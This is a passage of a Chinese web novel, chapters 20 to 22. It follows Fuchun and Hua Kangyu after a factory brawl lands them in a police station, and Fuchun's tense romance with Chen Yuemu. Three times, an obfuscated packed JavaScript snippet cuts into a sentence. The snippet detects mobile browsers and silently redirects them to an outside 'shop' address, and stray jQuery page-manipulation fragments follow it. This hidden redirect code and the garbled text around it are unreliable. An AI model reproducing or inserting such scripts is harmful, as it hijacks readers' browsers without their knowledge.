“捡钱啦!”风卷着钱跟鱼饵似的引来一圈人。福春不知道抽什么疯,从信封掏出拿着剩下的钱举起手威胁花康宇:“你不要我就给别人。” “爱给谁给谁!” 电子厂门口炸开了锅——有个傻子撒钱玩。 飞舞在空中的一张张大钞是工人平时在流水线上站断了腿也换不来的,钱要这么赚该多爽啊! 上层人赚钱比这爽十倍,是底层人这辈子也想象不到的容易。 福春把钱用力抛向空中。 “发钱啦!” 她与花康宇对峙而立。 她们不过是浩瀚世界的一粒尘埃,堆叠在一起连个一撇一捺都算不上,就是摩天大楼下被丢弃的废材,是历史车轮滚滚向前中活该被碾过的灰。有谁在乎她们的痛苦,有谁关心她们的喜怒哀乐,有谁听见她们的呐喊。 她们已经没什么可失去的了,拥有的不过是一道又一道枷锁。 与其战战兢兢为无望的明天忧愁不如为未知的当下奋力一搏。 “发——钱——啦——”福春嘶吼。 愤怒的吼声对抗天空。 * 嗡—— 陈悦目再一次按掉手机。 家里打来的电话他现在是不愿意接的,打十次才接一次。中午刚在学校吃完饭就收到家里消息晚上有饭局。这次组局的是陈赏心的丈夫,作为小舅子他必须到场。 “喂,妈。” ”呀,你终于赏脸接我这个老太婆的电话啦!” “……我看到信息了。” “看到就好,晚上早点到帮盯着点,菜单我一会发给你,里面你姐夫爱吃的几道菜千万不能出岔子知道吗?” 陈悦目左耳进右耳出,突然想起晚上订了位子和福春去吃川菜。他挂了电话马上给福春打去,电话那头无人接听。 福春很忙,正忙着跟人干架。 电子厂上个月出了事故,政府联系厂子开了好几次会强调安全问题。这场骚乱被迅速制止,安保队业务素质过硬,不消十分钟便赶到现场疏散人群顺道将福春和花康宇两人拿下带走。 她们被安保队带进小会议室,后面乌泱泱来了好几个人。换成平时动不了这么大阵仗,最多说两句就当场放人。现在马上到安全生产月,两人算是撞枪口上被抓了典型。 线长直接带娘开骂,吼得会议室里嗡嗡的,用词不堪入目。刚说三句就被福春拿笔筒朝脑瓜子拍去。 屋子里拳打脚踢,头破血流。她被人一左一右架起,跟踩脚蹬船似的两条腿一路从电子厂蹬叭到派出所。 晚上六点,陈悦目一家来到约定的地点吃饭。 “爸爸!”小女孩从沙发上跳下来举着乐高玩具向父亲炫耀,“舅舅给我买的。” “那你有没有谢谢舅舅?”男人挽起衬衫袖子把女儿抱起来向里走。 “佳佳一拿到就很有礼貌地说谢谢了。”陈父站起身面容和蔼举起双手,“佳佳来,外公抱。” “多大了还抱来抱去。”陈赏心嗔怪。 小女孩开开心心揽住外公脖子,过了一会又朝外婆,妈妈和舅舅抛飞吻以示“雨露均沾”,众人被逗笑,还没上饭桌先吃了一嘴的蜜。 陈悦目坐在佳佳旁边,对这次晚宴的主角显得很疏离。他跟这个姐夫非常不熟。两人拢共见面不超过五次,说过的话不超过五十句。当初陈赏心结婚时他正在国外已经和家里断联三年,对这个姐夫所有的印象都是从陈赏心的只言片语中获得,甚至连他的样貌陈悦目都未曾仔细看过。 “不介意我再邀请两位客人过来吧?”坐主位的男人忽然提议,目光却看向陈悦目。门外传来说话声,有一家三口开门进入。 “抱歉,来晚了。” * “滚一边去!” 派出所角落,花康宇和福春挨着一块坐。 “你别挨我。” “……”福春又凑得近一些。 “听不懂话是不是?” “小语……” 花康宇板着脸坐正,拍掉她的手,“你道歉。” 福春终于不挨着她了,靠墙角缩着委屈巴巴。 花康宇简直被她气死,这么点破事越闹越大,好端端地一个下午钱没挣着还被整局子里来,她狠狠拧一把福春的胳膊怒骂:“你就是个祸害!” “我祸害谁也不能够害你。” “你放屁!” 人差点让福春把脑瓜子拍碎,线长眼睛还没睁开就死死抓住手机报警,说做鬼也不放过她俩。 “你这还不叫祸害我?是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12983553|134656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是得等到后山立碑才叫祸害啊福春?” “你怎么也叫我福春啊?” “你别打岔,赶紧把医药费赔了我好上班去。” “除非他跟你道歉。”福春坚持。 “你弱智吧?现在是要把咱俩关局子里,要和解还得别人点头同意呢!” “我不道歉,我要让他道歉。” 路过民警给她们端来水,“小点声,你俩啥情况?赶紧凑点钱赔人医药费和解,在这瞎耗着干吗,想参观派出所呀?” 福春接过纸杯,“警察叔叔我不和解,除非他先道歉。” “你给人家开了瓢你还要人给你道歉?” “他先骂人。” 警察差点就把神经病三个字说出口,忍了半天最后交代她们:“你们在这等一会。” 片区鸡零狗碎的事每天处理多了,像这样的就一个拖字解决。拖到最后当事人和解最好,不和解就走流程该起诉起诉该蹲局子蹲局子。 “让你瞎嘚瑟,现在好了吧。” 福春蔫蔫问她:“如果钱是我一手一脚挣的,你肯要不?” 花康宇气得眼泪都出来了,什么时候了还惦记这个?她忍了半天把骂她的话咽回肚里神情严肃:“这是我最后一次告诉你,以后别再问了,再问我就当没你这朋友。 “我家欠的钱我自己还,不需要任何人施舍。”她是穷,但穷也只穷自己的,不能把别人拖下水。 “你好好过自己的日子,别管闲事。” 福春握住她的手,拇指在她手背上摩挲,抚过她皮肤上凸起的细碎伤疤。 她低头抹掉眼泪,决定把憋了很久的秘密说出来。 “姥姥肺里查出阴影,不打算治了。” 穷折腾,穷折腾,越穷越折腾。命运是一个无情的规则转轮,对蚁民是很残忍的。它会碾干穷人身上最后一点油抹在富人的面包上。 花康宇愣怔,整个人像隔了层雾,似梦非梦听着福春的话凿进脑内。 那天走前姥姥抓住福春的手对她说:“家里没东西给小宇了,出去学本事才能活下去,劝劝她。” 姥姥愧疚当年没能让她复读,她知道花康宇是读书的料但是家里快被债逼得走投无路,只能让她早早出去打工。 这个农村老太太虽不识字却懂得读书有多重要,有了文凭就等于有了跨越阶级的入场券。自己烂命一条死了能把债带走也算功德一件,只是家里无法再留给花康宇什么值钱的东西,所以只能趁她还活着的时候攒钱供她读书,等到自己不在了花康宇也有本事立足社会。 花康宇垂下头,两手紧紧揪住凳子边缘,“死老太婆,为什么不早说……” “她说对不起你,后悔没让你继续上学。” 老人竭尽所能为花康宇盘算未来。机会对她们总是特别苛刻,吝啬得给一次都是莫大施舍。 “凭什么呀……”福春喃喃,一遍又一遍对着空气诘问。 花康宇沉默着,眼泪安静往下掉。 老太婆每天天不亮就从床上爬起来佝偻着腰悄悄穿衣服,那背影她一辈子也忘不了。高三那阵是家里最艰难的时候,她四处硬着头皮借钱度日,就算自己吃不饱也要让花康宇每天一瓶牛奶。 她和姥姥早已被命运的绳索狠狠勒住血肉绞烂,在一起痛,分开更痛。 她讨厌她,可是她更爱她。 “我不怕惹事。”福春揉揉眼对花康宇说,“你不要我的钱还不能让我给你争个道歉吗?”她真的想为花康宇做点什么。 使她深陷在泥沼里的每一步她都是无辜的。 老天降下的原罪她要活在这世上一项一项为自己辩驳。 这磕磕绊绊的人生,不能就这么认命。 * “你们加微信认识一下?” “抱歉,我去趟洗手间。” 陈悦目离开包间。刚出门,陈父跟在后面叫住他,“想去哪?” 家宴变相亲,陈悦目最烦这样自作主张。 “上厕所。” 男人走近,阴影逐渐笼罩在陈悦目身上。 “你姐夫介绍的人很不错,不许拒绝。” “我有女朋友了。” 陈父抬手就是一巴掌。 陈母走出来,赶紧将门关上,“天啊,我求求你们爷俩吵架能不能离远点!” “回去,把饭吃完。”男人不容置哙。 “可以,我把女朋友也叫过来。” “你——” 第二个巴掌正准备落下,陈赏心从走廊另一边过来喝住他们。 “爸爸,住手!” “不孝子。”陈父怫然,指着陈悦目咒骂。陈赏心挡在弟弟前面劝阻。 “心心,你不要帮他。” “这不是帮谁说话的问题。” “你不就想巴结你那好女婿吗?” “信不信我揍死你?” “我们家怎么都在外面呀!”陈母焦急。 走廊墙壁上影子杂乱交织。 陈赏心扶额,为这场闹剧心力交瘁:“怪我,没跟他提过你的事。” 陈悦目手机振动,当着他们的面接起电话,“我先走了。” “你敢!” 陈赏心拦住父亲,对陈悦目说:“走吧。” “陈悦目!”陈父瞪圆眼睛,挺直腰板让吼声在走廊上回荡。 陈悦目把手机放回口袋,站直。 拐角处传来窸窸窣窣,直直的走道除了他们一家始终不见别人。 “走吧,愣着干什么,一会我去解释。”陈赏心推了他一把。 陈悦目后退两步,转身,直接去派出所捞人。 20. 秘密 夜晚,三人从派出所出来。 “你越来越能耐了。”陈悦目走在前面,“整个北江不够你逛的,跑到派出所一日游。” “少说点风凉话行不行?”福春在后头嘟囔,“我也是身不由己。” 她说完被陈悦目瞪了一眼,“是吗?” “嗯。” “身不由己?” “嗯啊!” “满大街撒钱玩身不由己,呵。” “你让我拿钱满大街乱撒的。” “我是那样说的吗?!” “陈悦目你这就没意思了。” 福春说到一半蔫声。这件事她确实理亏,毕竟不是有钱人,从前也没干过这种穷奢极欲的事,对钱还是有敬畏之心的。 “回家再跟你算账。”陈悦目把没撒完的火冲向最后头那人,“你干吗还不走?前面就是车站,怎么不去坐325?” 花康宇静静伫立,听见对方挖苦也没生气,她舔舔唇冲他说:“我有话跟福春说。” 倦鸟归巢落在树枝间偶尔两声鸣叫,安谧蔓延整个黑夜,花康宇拉着福春走到角落。 “过两天我就回家带姥姥看病。”她低头,月光柔和了坚毅的轮廓,花康宇牵起福春的手,“别担心。” 福春靠上去将脸埋在她肩窝,声音闷闷:“这事我不会让你一个人担。” “虱子多了不养,你别管。” “我说了钱我来想办法——” “我家欠的钱不是小数目,你不要再向陈悦目要钱了,这种钱不明不白要了你知道以后要付出什么代价?” “要杀要剐那也是我的事,跟你一点关系没有。” “我能看着你出事吗?” 咵哒!远处车锁响动,两人回头看一眼,随后花康宇悄悄说:“你别觉得是欠我,那事跟我没关系。” 福春双眼忽然变得冷冽,她看着对面,在黑暗中翻涌起一股陌生情绪沉沉道:“那晚村里的人说他被人打得头破血流,路上全是血。” “哎那是鸡血。”花康宇顿了顿,凑近和她咬耳朵,“我也希望能拍死他,可惜让他溜了。” 那晚花康宇拿着铁锹蹲在他家门口一直等到晚上。快到凌晨那人终于回来,脑袋上挂着干涸的血渍,走路摇摇晃晃。直觉使然,让他警觉花康宇来者不善于是转身便跑,两人在黑夜中追逐,最终还是让男人跳进车里逃跑。 “所以不是你。” 她摇头。 那一瞬福春几乎融进晦暗不明的夜里。她手用力搓碾裤缝,浑身僵硬像被点了穴动弹不得又极力要挣脱。 花康宇知道她失望至极,毕竟手刃仇人是她一直以来的执念。 “别想了,我们以后都向前看。” 福春抬头,好半天才缓过情绪,伸手撞了撞花康宇的肩膀又笑得没心没肺。 “还回不回去?”陈悦目把车开出来,按两声喇叭从车里伸脑袋催她们,过一会车子调头,慢慢沿着路远去。 福春看着看着突然大叫:“陈悦目,你又不等我!” 车慢慢停下,伴随叫骂福春一溜烟打开门钻进去。 月亮圆圆,道路上飘来饭香。花康宇摸了摸肚子抬头,觉得黄黄的月亮好像烤洋芋。 * 第二天,陈悦目去了一趟市郊电子厂。 花康宇正在宿舍收拾东西,接到电话时愣住好半天。她把所有行李打包好后匆匆赶去厂子门口。 “找我干吗?” 陈悦目站着没动,招手示意她过来。 “你来的巧,再晚点我就走了。”花康宇走到近前,擦擦脖子上的汗随意靠在栏杆边坐下,神情从未有过的松弛。 昨天打人闹事,她就知道在这干不了,果不其然今早一上班组长就把她叫去谈离职。 人好像痛苦到极限就会顿悟。经过昨天她也想开了,自己只是上天降在世间的一粒小小种子,不偏爱也不少给,她还有姥姥的爱,剩下的只需尽力发芽快高长大。 她人生的路现在就是最坏的顶点,后面的就等自己一手一脚开拓。花康宇绝不认输,每一天都要积极的去过,这是她对这操蛋人生最强硬的反击。 “给你的。”陈悦目把手里沉甸甸的厚袋子递到她跟前,“一共五十万。” “我不要。” “别打肿脸充胖子。” 花康宇昂头:“我不收是我不想让那傻子沾上麻烦,你这人我们惹不起。” “要不要随你。”陈悦目一会还有事,没空跟她废话,“这事福春还不知道,来找你是我的决定。” 送钱送到这份上陈悦目觉得自己够窝囊的,他无奈叹气:“放心,我不会朝你家门口泼大粪。” 没留下任何记录,没有借条,这钱就是白送花康宇的。这种程度可以算是她全家的救命恩人。 “这下能收了?” “为什么?” 陈悦目从装着现金的袋中抽出那两本小说。 “就当是惜才吧。” 触动他的是结尾那句话——死的死去,活的活着,我坐在阴暗,风把太阳送来抚摸我的脸,世界照样满满的。 “有些话是你教给福春的?”不然就她那个没被知识浸染过的大脑怎么可能知道那些要言妙道。 “结尾不是我写的。”花康宇如实回答,她举起本子端详好久,“字迹不是我的。” 当时小说还没写完就被姥姥发现了,然后又被同学们当笑话一样传阅让她彻底没了写的心思,所以结尾一直就空着。 “那是谁写的?” 花康宇看着那段话笑起来:“屎盆子镶金边。” 除了福春谁还能干出这事? “她有时会说出和她经历不相符的话。” “都是些疯言疯语。” “她有事瞒着我吗?” “你去问她呀。” 两人相视而笑。 陈悦目知道福春在隐藏一些事情,但没关系,他有足够耐心把答案找出来。他感觉自己越来越接近真相。 临离开前,陈悦目顺嘴问了她一句:“之后有什么打算?” 花康宇手遮在额头上眺望天空给了很有禅意的回答:“晒太阳。” 太阳不会嫌弃你没用,阳光平等地洒在每一个角落。 她说完笑笑:“回家陪姥姥治病,然后再找机会赚钱,晚上就开始念书准备高考。” “行。”陈悦目点头,拿出手机,“加个微信,我把补习机构老板推给你。 “学校在北江大学附近,专门做高三复读培训。老板招前台你能做吧?” 没等花康宇反应他接着说:“看病去北江大附属医院,医生的微信我也给你。” “我这是遇上菩萨了?” 陈悦目挑起嘴角。他才不是菩萨,这些他会在福春身上一点点讨回来。 * 阿嚏!福春在家揉揉鼻子。床底下手机震了好久,她摸了一阵没摸到就不管了。阳光照在床褥把被子晒得暖烘烘,她实在没力气睁眼,热出汗就掀开被子滚到床脚阴凉处一直睡到下午才起床。 陈悦目晚上打开家门扑面迎来一股浓重调料味。他穿过玄关,看见福春叼一嘴方便面也在看他。 “回来啦?” “嗯。” 他擦手拉开椅子坐下,把她几乎埋在麻辣烫里的脸伸手推上去。 “心虚什么?” “没有。” 陈悦目讨厌过重的调料味所以当初约法三章不准福春在家里乱叫外卖。开始定的规矩如今还在遵守的已经寥寥无几。 “你吃了吗?” “还没。” 福春被一直盯着也吃得不好意思,挪开筷子客套一句:“来点吗?” 原以为对方会嫌弃,谁知陈悦目竟然没拒绝。 “好啊。” 他直接拿了她的筷子,一盆面被他瞬间干掉大半,就剩几个丸子在汤里晃荡。 “好吃吧?”福春看着那碗汤咂咂嘴。 “好吃。”陈悦目笑起来,不像以往带着几分调侃或者居高临下,是很真诚温暖的笑容。 这笑容看得福春有点心动,忽然想起第一次见他的时候。 “有时候觉得你看着我但又不是在看我。”陈悦目说。 福春回神,伸腿轻轻踢他,“我昨天到现在还没吃饭呢!” “想吃螃蟹吗?” 舅舅的私房菜馆进了一批青蟹,昨天陈悦目在餐厅时让他帮忙送几只新鲜的过来。 海鲜不需要过度烹饪,新鲜的只要洗干净加姜片上锅蒸就很鲜美。 福春吃着碗里看着锅里,把蟹壳嗦得咋咋响。 “吃饭动静能不能别这么大?”陈悦目给福春挑蟹肉,用钳子把厚壳夹碎然后将蟹钳和蟹身的肉挑出来放碗里又问她,“好吃吗?” 福春猛点头,瞧一眼自己嗦的那半拉螃蟹,“就是这黄也不香啊还发青,稀稀的跟粑粑似的。” 陈悦目闭眼抿嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13017471|134656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,把盛满肉的碗推到她跟前然后擦手,“青蟹就这样,想吃蟹黄改天给你买大闸蟹。” “真的?现在是卖大闸蟹的季节吗?” “是不是都能买。” 福春手舞足蹈,把蟹钳子肉递到他嘴边,等陈悦目张嘴要咬时又把手缩回去,然后就这么一伸一缩来回作弄他。 “敢耍我。” 两人吃一半又闹到床上。 “哎呀,我的大钳子!”一大块肉掉在地上把福春心疼得不行,她爬到床边要捡,脚踝却被握住一把拖进去。 “饭还没吃完呢就干这事?你对我是不是太随便了?” 陈悦目翻身下床拉开抽屉解释:“别动,包的纱布掉了。” 昨天打架时她小腿磕在桌边,当时没注意,等到回家一脱裤子才发现血一直流到脚脖子。 他蹲下把福春的脚放在自己大腿上,用沾满碘酒的棉签给福春清理伤口。 两人相处偶有温情时刻,这时候总会敞开心扉聊一些过往趣事。 “你以前问我咱们是不是早就见过。” “我问过吗?啥时候的事?” 书桌上曼哈卡顿忽然亮起,灯光随节奏律动。 「Gotasecret有一个秘密Canyoukeepit?你能够保密吗?」 “哎呦,又连上了,刚才弄半天……”福春顾左右而言他。 “我们以前见过吗?或者你以前见过我?” 音乐戛然而止,福春把手机关掉放一边直接说:“我想跟你做了。” 天色渐渐暗下,窗外墨蓝染上霞光让四周暧昧不清。 陈悦目注视她良久,沉默着,目光像一把锋利光亮的剑划过她的眉眼,“不能说吗?” “说什么呀?” “那当初为什么找我?” 这话福春不同意:“不是你先看上我的?” 王八瞪绿豆,看对眼了就没必要纠结怎么看上的,陈悦目换了个话题:“在海边许的愿望总能说了吧?” “我说过呀,柔柔想要幸福。” “嗯,花康宇呢?” “早点还清债。” 陈悦目把纱布贴上,揉捏她的脚踝,“那你的呢?” “不告诉你。” “为什么?” 福春弯腰摸摸仔细包好的伤口,随口拿话噎他:“哪有为什么?追根究底的,你爱我呀?” 纱布贴得松紧正好,每一条胶带都避开上次贴过的地方。她突然抬眼望着陈悦目,察觉到一丝不寻常。 “你……” “干吗?” “为什么想知道我的事?” “好奇不行吗?”陈悦目低头收拾东西,片刻又一次追问,“到底是什么?” 这也不是不能说,福春觉得说了陈悦目也不会信,哪怕从阮晓柔嘴里说出来也比她可信。 她手撑在床垫微微后仰,脚踩在陈悦目大腿上一点一点向里移,漫不经心告诉他:“玩男人。 “你信吗?” “不信。”陈悦目挠她脚心,把她扑倒在床上,笑声卷在被褥间。 微风吹动纱帘,水晶挂坠轻轻摇晃,淡淡花香吹进屋子,影子在墙上一耸一耸,拱着手机掉在地上。 福春伸手赶紧捞回来接起电话,“小语!” 花康宇坐在车站长凳吹着晚风,“傻子!” 还没等那头开口她便像连珠炮似的开腔骂福春:“你小说写得什么玩意儿,错别字一堆,的地得都不分!” 电话那头嘎嘎乐。 “还笑!错别字就不说了,书名起的什么鬼东西?好孕系统降临我给外星王爷生八胎,你用机器随机生成的吧,还有你那’奇葩‘剧情!” 福春趴在床边不以为意:“我写的可都是有现实依据的。” 路上大货车驶过,等过去以后她们仍然默不作声。 “……呆子?” “我回家了。” “嗯。” “祝我成功。” “祝你成功——!”喊声飘向远方。 公交隔15分钟一班,花康宇带着行李上车在窗边找到位置坐下。 她的账号显示更新,图片是一张灰突突的车外风景,单调的工厂大楼,川流的人群和地上的红塑料袋。 “死的死去,活的活着,世界照样满满的。空中照耀的还是同一个太阳。无人需要惋惜,无物值得遗憾。” 六点,325准时发车。 21. 卖馒头 「爱是没有界限的,如果我能拥抱一切,那拥抱得笨拙又有什么关系?」 中午,北江大学路口 刚出锅的馒头一屉一屉摆在外面圆凳上晾着,风吹开热气飘散,隔着马路就闻到一股面香。 “美女,来五个馒头。” “好嘞!” 人聚在一起,眨眼就把几屉馒头买光。 “姑娘你新来的?” “嗯。” 几个男的买了馒头也不走,凑在台面跟前非要跟收银的小姑娘聊两句。 陈悦目抱手在旁边看着,等那群男的开始要微信他才不紧不慢走上去。 “美女,要五个馒头。” 他是被其他老师拖过来的。吃饭时大家聊到这家馒头店好吃又实惠,收银小姑娘人美嘴甜。大伙非要起哄凑热闹去看一看,陈悦目也被他们拉进买馒头大队。 “只剩三个了。” 他拿起手机给对面看,“已经付钱了。” “我把钱退给你。” “不行。” “那你想怎么样?” “外面摊着的馒头卖我。” “那是人家订的,你要就等下一轮出锅。” 陈悦目似笑非笑看着对面:“不想等怎么办?” “那就退钱。” 对方说完忽然揪住他前襟,同事赶紧上来劝,谁知陈悦目悠悠喊了一声:“福春。” 福春松开他,把两枚钢镚放进陈悦目衬衫口袋。 “你们认识呀?”同事推推搡搡问他俩什么关系。福春不说,转身跑去外面把馒头收起来。 陈悦目也不回答,盯着福春端起一屉屉馒头来来回回,敷衍两句便拎着剩下那三个馒头回家。 卖了二十多年馒头,一有人问老板馒头好不好吃肯定回答不好吃别买,可若谈起怎么做出好馒头老板又会拿着客人的一塑料袋大馒头半天不肯给在那滔滔不绝。 馒头蒸得好也需要技巧。 揉面的手法很有讲究。手不能停,加水要少量多次,直到面粉搅和成湿润的面絮。从面絮变成面团主要靠挤压,皮肤严丝合缝紧贴,叠压的重量会使柔软面絮成团变得紧实。 成团的面饧发胀大后不要急于上锅蒸,想要吃到光白宣软的馒头需要有足够的耐心。 耐心陈悦目多的是。 此时如果还有多余的面絮粘在盆上可以稍微蹭一蹭。等发好的面再次揉实后便可以揪成面剂子攒成光滑圆润的馒头二次饧发,直到这时方可以进入主题——蒸馒头。 蒸馒头时间也是重点,时间太短蒸出来的馒头回缩变小不尽如人意,一定要火大气足蒸够时间馒头才会宣软饱满。 蒸好的馒头两人吃了个尽兴,心满意足躺在床上。陈悦目趴在福春身上,有一搭没一搭说话,突然问起福春家政为什么不做了。 “嗯,馒头店工资高。” 福春工作随心所欲。好工作难找,可像这种低工资的体力活到处都是,她年轻长得好看,找零工就像抓把瓜子那么简单。做什么工作陈悦目向来不干涉,准确点说是因为管不着所以也懒得管。 可是现在不一样了。 福春打了个哈欠,把手机插上电钻进被窝,手被陈悦目握在掌心把玩,揉搓她的指尖说道:“在学校给你找个工作怎么样?” 福春当他开玩笑,说着说着发现陈悦目竟然认真的。 “真给我介绍工作啊?” 陈悦目挑眉,“骗你干吗?” “为什么?” “工资高,稳定。” 高校行政岗哪怕非编也比外面公司稳定,至于工资待遇虽不如在编岗位但是对福春来讲绝对是高的,找找人把她塞进后勤卖馒头也不是不行。 福春把胸口那颗脑袋使劲推起来,“我不是问这个。” “怎么了?” “你爱上我了吧?”福春睁大眼睛滴溜转。 陈悦目哂笑。 “我认真的!” “你猜。” “我才不猜。” “我不告诉傻子。” “那你就是爱我。” “呵呵,我爱你。” 欠揍的态度不如不爱,福春掐他脖子追问:“到底是爱还是不爱?” “知道那么多干吗?影响你吃喝了吗?” “你快告诉我,正经的!” “有病。” 福春设法求证,把陈悦目按入怀中。两人身体紧贴,彼此能感受到对方的起伏。她听见自胸口处传来的呼吸声与往常并没什么不同。 “你爱我吗?”她又问一遍。 陈悦目又反问:“那你呢?” 福春料到他不会回答。 身体的反应比思想诚实,能窥探一个人的灵魂。 福春俯身亲他的嘴唇,腿勾住他的腰,手攀上后背,滑过他隆起的筋骨,缠绕在他脖颈。他们沉浸在这场试探中,为每一次交锋兴奋。 就算没有爱,两人也是如此契合。 手机铃声打断动作,是陈母打来的。 陈悦目无奈撑起来听电话。 学生给家里送来好几箱大闸蟹,转送别人不够档次,留着吃又吃不完,便打电话叫他回家一起吃。 陈悦目听着电话,意犹未尽吻在福春光滑的皮肤上。他现在不愿意回家。在学校这天高皇帝远夜夜笙歌,谁会愿意回去受罪?“你们吃吧,我不回去了。” 母亲依旧在电话中跟他掰扯,福春耳朵灵得很,一听大闸蟹两眼又开始放光。 “你想吃?” 她点点头。 见福春如此反应陈悦目眼中闪过一抹光,匆匆挂掉电话。 “馋鬼。”他在她唇上轻啄,“想吃就跟我回家。” 福春垮脸拒绝:“那算了。”也不必为口吃的入龙潭虎穴。 陈悦目问她:“你不是想吃螃蟹?” “想吃也不用特地去你家呀!” “是顺路过去。” 男人的嘴,骗人的鬼。 “那你顺路把螃蟹带回来。” 陈悦目摇头。 福春跟他打商量:“我给你炖螃蟹总行了吧,保证炖得很好吃。”她贴在陈悦目脸颊边舔他嘴角,拿起他的手放在自己胸上,“我也会做你喜欢的事。” 基本上到这种程度陈悦目或多或少会松口,因为他想和福春z/爱。男人j虫上脑时基本没有智商,就是个会行走的生z器,再聪明的男人也不例外。 可这一次福春的引诱不管用了。 “想吃就跟我回家。”陈悦目不容拒绝。 “不吃了不吃了。” “真的不吃?” 福春意兴阑珊,要拽出T恤套上被拦住。 “你跟我回家。” “我不去。” 陈悦目问:“害怕?” “你不害怕?” “我自己的家有什么好怕?” 福春戳破他:“你不是害怕就是讨厌,你自己都讨厌的家干嘛还带我回去?己所不欲勿施于人!” “丑媳妇早晚见公婆,你现在不见以后也要见。” “我不是丑媳妇,我是美媳妇。美媳妇不用见公婆。” 陈悦目噙着笑意。过了一会福春反应过来又赶紧纠正:“我才不当你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13047421|134656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 媳妇,谁缺心眼要给你做媳妇?” “不给我当媳妇就不能吃大闸蟹。” 没待福春想明白其中逻辑陈悦目又继续道:“发现你有时候逗起来真好玩。不如我们打个赌?” “赌什么?” “赢了你跟我回家,输了我告诉你答案。” “什么答案?” “你想知道的答案。” 福春觉得自己迟早会知道答案,这交易对她来说不划算。他们视线缠绕成旋涡,掉进一粒灰就能看见中间的涌动的程度。她挑眉,“你觉得我猜不到吗?” “那你猜。” “你就是爱我。” “我爱你。”陈悦目扬起下巴表情平静,任凭怎么打量也看不出端倪。 福春将信将疑:“跟你回家就会告诉我吗?你不会骗我吧?” “骗你是狗。” 她捏住他的下巴,“先叫两声听听。” 陈悦目一口咬住她手掌,从手心亲吻到小臂,俯身把她压在床上,然后伸手捞过床头柜上的书,把那枚买馒头找的钢镚拿出来。 “正面去反面不去。” 话毕硬币抛起,在空中旋转。 福春的目光随它越升越高,视线正撞上对面狡黠双眼。 抛硬币只要练出手感便可以自由控制正反。 怕对方玩把戏,她扬手一把将钢镚打出去。 细碎的声音弹在地板上,福春跳下床去追钢镚,看着它撞在桌角旋转,最后缓缓落下。 “是什么?”陈悦目坐在床上问。 “耶!是字,我赢了!” “傻瓜,字是正花是反。” “什么?!” “我赢了。”他起身穿衣服,“走,跟我回家。” 陈悦目迅速套衬衫,回拨电话给家里说要带人回去吃饭。 陈母先前在电话里听到只言片语,见他这么说也没多惊讶,像是早就做好准备似的沉声道:“好,早点回来。” “我现在就回去。” “什么?!”电话外声音一惊一乍。福春赖赖唧唧在原地不肯走,一会说花才是正一会又要三局两胜。 等陈悦目穿好衣服一把将她拖起来。 “不换衣服我就这样拖你走了?” “你让我准备准备。” “把衣服穿好就是准备了。”他从衣柜里拿出福春平时穿的衣裤,蹲下身把裤子撑开,“赶紧穿好。” “我要穿裙子。” 陈悦目又起身在衣柜里翻找,“穿哪件?红色这件?” 福春一骨碌爬上床卷在被子里哀嚎,被对方大巴掌一拍揍她屁股上,“愿赌服输。” 临出门前她拽住陈悦目不死心地问:“你爱我吗?” “不爱。” 猫头鹰冰箱贴掉下来,陈悦目吻上她额头,拍拍她示意先下楼。 他回到屋里把它反着重新贴好,顺手把那枚硬币翻到花面贴在猫头鹰肚子上,随后关门离去。 ~*~*~ 今天的菜多了一道水煮鱼片,福春吃得兴高采烈,一股呛辣窜得她鼻涕眼泪直流。 “恶心死了!去厕所擤干净鼻涕。” “我去旁边行不行?一会还有呢,擤不完的。” “不能吃辣为什么还要吃?” “辣子多香啊!” “去厕所。”陈悦目不能容忍有人在他饭桌上擤鼻涕。这么恶心的事,跟在餐桌上放屁有什么区别? 噗。 福春吃得太辣,憋不住放了个屁。 “去厕所!!!” 陈悦目抓狂,讨厌死福春了。 22. 大闸蟹 夜晚,两人驱车前往陈悦目家。 “应该带点水果,空手过去太没礼貌了。”福春虽是个野丫头,但农村里人情来往讲究的不比城市少,也知道去做客不能两手空空。 “后备箱有茶叶,一会你拎着。” 广播传出轻快曲调,过了一会福春的声音挤在里面,“我不是为了吃螃蟹才去你家,你要跟你爸妈说清楚是你硬拉着我来的。” 陈悦目不接话,音乐又换了一首更轻快的,车子渐渐消失在夜幕之中。 两人到家时已是夜里一点,洪婶来开的门。福春恭恭敬敬鞠躬喊了声阿姨好,把手里茶叶递出去,显然把她当成陈悦目的母亲。 “啊这,这……” “这是洪婶,上次来找过我,你不记得了?”陈悦目上来解围,把福春揽到身边对洪婶交代,“我房间床褥都换过吧?没有的话帮我拿套新的,我自己换。” “换过的,都是和老爷小姐的房间一起按时换的。”洪婶瞄一眼福春,“我去给小姐拿一套睡衣。” “不用,她穿我的。你回去休息吧。”陈悦目说完带着福春上楼。 